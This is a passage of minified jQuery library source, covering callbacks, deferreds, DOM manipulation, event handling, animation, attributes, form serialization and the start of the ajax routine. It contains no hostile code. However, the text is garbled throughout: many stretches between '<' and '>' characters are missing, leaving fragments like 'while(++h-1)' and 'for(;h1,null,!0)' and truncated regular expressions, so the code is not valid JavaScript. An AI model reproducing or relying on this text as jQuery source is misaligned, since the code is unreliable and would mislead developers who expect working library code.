r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S), +a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b), +null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return 